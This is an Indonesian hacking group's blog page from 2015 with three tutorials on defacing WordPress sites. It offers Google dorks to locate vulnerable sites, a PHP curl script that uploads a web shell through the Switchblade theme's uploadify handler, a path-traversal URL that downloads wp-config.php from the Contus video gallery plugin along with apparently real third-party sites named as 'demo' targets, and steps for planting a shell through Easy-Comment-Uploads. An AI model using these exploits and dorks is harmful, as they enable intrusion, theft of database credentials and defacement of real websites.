United Indonesian Hackers: Exploits

Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG491fF9wKGKJA0FT4wogLZ1Kd8px6bOUdbYrurajNFYUByzbPW-VUZGbCEsmpxhxRmKF-GDEgtEDzlW9W1XwGQjf5a_4cCc71j9EHp2hC0-8EHvf-q5ihzpBBBm6-Owj5lxecHG5JvS4/s1600/wordpresshacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG491fF9wKGKJA0FT4wogLZ1Kd8px6bOUdbYrurajNFYUByzbPW-VUZGbCEsmpxhxRmKF-GDEgtEDzlW9W1XwGQjf5a_4cCc71j9EHp2hC0-8EHvf-q5ihzpBBBm6-Owj5lxecHG5JvS4/s320/wordpresshacking.jpg" /></a></div>UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability. Halo Mblo, ketemu lagi sama ane yang tamvan dan berani ^_^ , kali ini ane mau share tentang cara 
<a href="http://unihack-team.blogspot.com/2015/02/deface-dengan-wordpress-switchblade.html">Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability</a>. Langsung aja ya mbloo biar gak kelamaan jomvloo ^_^ . 
 
<hr><pre>.__.__ __ __ 
 __ __ ____ |__| |__ _____ ____ | | __ _/ |_ ____ _____ _____ 
| | \/ \| | | \\__ \ _/ ___\| |/ / ______ \ __\/ __ \\__ \ / \ 
| | / | \ | Y \/ __ \\ \___| < /_____/ | | \ ___/ / __ \| Y Y \
|____/|___| /__|___| (____ /\___ >__|_ \ |__| \___ >____ /__|_| /
 \/ \/ \/ \/ \/ \/ \/ \/ .Blogspot.com</pre><hr> 
Google Dor ... dorr... dorrrk : inurl:/wp-content/themes/switchblade 
 
Exploit jeung POC : 
<?php 
$uploadfile="up.php"; 
$ch = curl_init("http://127.0.0.1/wordpress/wp-content/themes/ThinkResponsive/includes/uploadify/upload_settings_image.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS, 
array('Filedata'=>"@$uploadfile")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); 
curl_close($ch); 
print "$postResult"; 
?> 
 
 
Shell Access : 
http://joomvlo.com/[path]]/wp-content/uploads/[tahon]/[bolan]/shell.php 
 
Udah gitu aja, kalo gak ngerti tanya aja ke fb ane link : <a href="www.fb.com/Aria.phtml">www.fb.com/Aria.phtml</a> 
 
<hr>Notes : Semua kerusakan yang terjadi bukanlah tanggung jawab penulis, karena penulis hanya memberi pembelajaran yang bukan untuk disalah gunakan ! 
<hr>

Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability

UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability. Halo Mblo, ketemu lagi sama ane yang tamvan dan berani ^_^ , kali ini ane mau share …

Baca selengkapnya »

14 Feb 2015

Deface Dengan Wordpress Video Gallery Arbitrary File Download Vulnerability

<center><img alt="Deface Dengan WordPress-Easy-Comment Exploit" src="http://raisedonhoecakes.com/ROH/wp-content/uploads/2012/12/WordPress-Bug-ROH.jpg" title="Deface Dengan Wordpress Video Gallery Arbitrary File Download Vulnerability"></center>UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan Wordpress Video Gallery Arbitrary File Download Vulnerability. Halo Coeg kali ini ane mau bagi Cara <a href="http://unihack-team.blogspot.com/2015/02/deface-dengan-wordpress-video-gallery.html">Deface Dengan Wordpress Video Gallery Arbitrary File Download Vulnerability</a>, Langsung aje ye coeg daripade banyak cingcong :v . 
 
Gugel Dork : 
Use your brain ;) hanya anak kecil yang selalu ngemis dork, cobalah untuk berpikir menggunakan otak anda, agar anda bisa menjadi serang Master Dorking ;) . 
 
Exploit : 
http://target.com/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php 
 
Demo : 
http://www.gerardbattenmep.com/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php 
http://kleenradio.com/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php 
 
Thanks To : Mr.Crazyxx and United Indonesian Hackers

Deface Dengan Wordpress Video Gallery Arbitrary File Download Vulnerability

UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan Wordpress Video Gallery Arbitrary File Download Vulnerability. Halo Coeg kali ini ane mau bagi Cara Deface Dengan Wordpress Video Gallery Arbitrary File Down…

Baca selengkapnya »

01 Feb 2015

Deface Dengan WordPress-Easy-Comment Exploit

<center><img src="http://i.imgur.com/qS0OT6F.jpg"></center>UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan WordPress-Easy-Comment Exploit Halo coeg kali ini ane mau bageh imu tentang cara <a href="http://unihack-team.blogspot.com/2015/01/deface-dengan-wordpress-easy-comment.html">Deface Dengan WordPress-Easy-Comment Exploit</a>. Wokeh laangsung aje ye mbloo :v . 
 
Google Dork : 
inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php 
intext:Index of /wp-content/plugins/easy-comment-uploads 
 
Exploit : 
/upload-form.php 
 
1. Cari dulu target pakek dork di atas, pilih yang mana aje. 
2. Kalo udah ketemu nanti bakal muncul form upload, nah tinggal upload deh shell ente. 
<center><img src="http://i.imgur.com/BDt3MY7.png"></center>3. Kalo berhasil tinggal eksekusi shelnya di www.target-ente.com/wp-content/uploads/2015/01/shell-ente.php 
4. Kalo shell ente kagak muncul berarti udah di patch atau ente kurang TAMVAN, xixixi. 
 
<hr>NOTES : Segala kerusakan yang terjadi adalah tanggung jawab ente sendiri,penuis tidak bertanggung jawab karena penulis hanya berbagi ilmu yang bukan untuk disalah gunakan. 
<hr>

Deface Dengan WordPress-Easy-Comment Exploit

UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan WordPress-Easy-Comment Exploit Halo coeg kali ini ane mau bageh imu tentang cara Deface Dengan WordPress-Easy-Comment Exploit. Wokeh laangsung aje ye mbloo :…

Baca selengkapnya »

20 Jan 2015